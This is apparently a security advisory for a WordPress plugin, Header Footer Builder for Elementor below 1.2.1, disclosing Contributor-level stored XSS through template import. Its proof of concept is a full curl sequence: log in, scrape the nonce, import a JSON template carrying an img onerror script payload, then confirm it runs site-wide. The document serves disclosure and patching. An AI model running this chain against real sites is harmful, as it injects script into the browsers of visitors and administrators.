Header Footer Builder for Elementor < 1.2.1 – Contributor+ Stored XSS via Template Import | CVE 2026-12869

Description

The plugin does not require an administrative capability for its dashboard template-import action (it allows any edit_posts user), so a Contributor can import a template containing an Elementor HTML widget configured to display site-wide, injecting JavaScript that executes in the session of any visitor or administrator who loads the site.

Proof of Concept

Prerequisites: Elementor (free) active; Header Footer Builder for Elementor 1.2.0 active. Perform as the Contributor role (edit_posts) — below unfiltered_html.

BASE="https://<site>"; COOKIE="/tmp/con.txt"; rm -f "$COOKIE"

# 1. Log in as a Contributor
curl -sk -c "$COOKIE" "$BASE/wp-login.php" -o /dev/null
curl -sk -L -b "$COOKIE" -c "$COOKIE" -X POST "$BASE/wp-login.php" \
  -d "log=contributor" -d "pwd=password" -d "wp-submit=Log In" \
  -d "redirect_to=$BASE/wp-admin/" -d "testcookie=1" -o /dev/null

# 2. Load the plugin dashboard (reachable by a Contributor) and scrape the nonce.
#    NOTE: the page has several "nonce" strings — extract the one inside the thfbDash object,
#    otherwise the import returns 403/-1.
curl -sk -b "$COOKIE" "$BASE/wp-admin/admin.php?page=tahefobu_templates" -o /tmp/dash.html
NONCE=$(grep -oE 'var thfbDash = \{[^;]+' /tmp/dash.html | grep -oE '"nonce":"[a-f0-9]+"' | head -1 | sed 's/.*"nonce":"//;s/"//')
echo "NONCE=$NONCE"

# 3. Build a malicious legacy-format template: an Elementor HTML widget targeting the whole site.
cat > /tmp/x.json <<'JSON'
{"plugin":"turbo-header-footer-builder","type":"tahefobu_header","title":"poc",
 "elementor_data":[{"id":"x1","elType":"widget","widgetType":"html",
   "settings":{"html":"<img src=x onerror=alert(document.domain)><h2 id='hfb-poc-marker'>PWNED</h2>"},
   "elements":[]}],
 "elementor_page_settings":{},
 "conditions":{"display_targets":["entire_site"],"include_pages":[],"exclude_pages":[],"is_sticky":0,"has_animation":0}}
JSON

# 4. Import the template as the Contributor.
curl -sk -b "$COOKIE" -X POST "$BASE/wp-admin/admin-ajax.php" \
  -F "action=tahefobu_dashboard_import" -F "nonce=$NONCE" -F "import_type=header" \
  -F "import_title=poc" -F "import_file=@/tmp/x.json;type=application/json"
# -> {"success":true,"data":{"template":{"status":"publish","type":"tahefobu_header","targets":["entire_site"]...}}}

# 5. As an UNAUTHENTICATED visitor, load any front-end page. The payload is rendered unescaped
#    site-wide (delivered through the plugin's wp_head inline-script header fallback) and the
#    img onerror handler executes in the browser of any visitor/administrator.
curl -sk "$BASE/" | grep -Eo "hfb-poc-marker|onerror=alert\(document.domain\)"